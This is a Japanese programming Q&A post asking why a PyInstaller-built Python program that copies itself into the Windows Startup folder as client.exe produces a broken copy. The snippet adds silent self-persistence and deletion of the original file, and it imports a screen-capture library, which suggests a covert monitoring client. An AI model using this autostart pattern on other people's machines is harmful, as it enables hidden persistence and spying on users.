前提・実現したいこと
スタートアップフォルダに自分がいなければ、自分をスタートアップフォルダにコピーして、実行する。
発生している問題・エラーメッセージ
pyinstallerを使ってコンパイルし、実行するとコピーが正常に行われない。
コピーされたファイルのサイズは元の.pyファイルと同じだった。
該当のソースコード
import os import subprocess import sys import shutil from PIL import ImageGrab #指定のフォルダにいれば実行および元ファイルの消去、いなければコピーののち停止 username = os.getlogin() path = "C:\Users\"+username+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\client.exe" if not __file__ == path: src = __file__ shutil.copyfile(src,path) subprocess.Popen(path, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.DEVNULL) sys.exit()
回答1件
あなたの回答
tips
プレビュー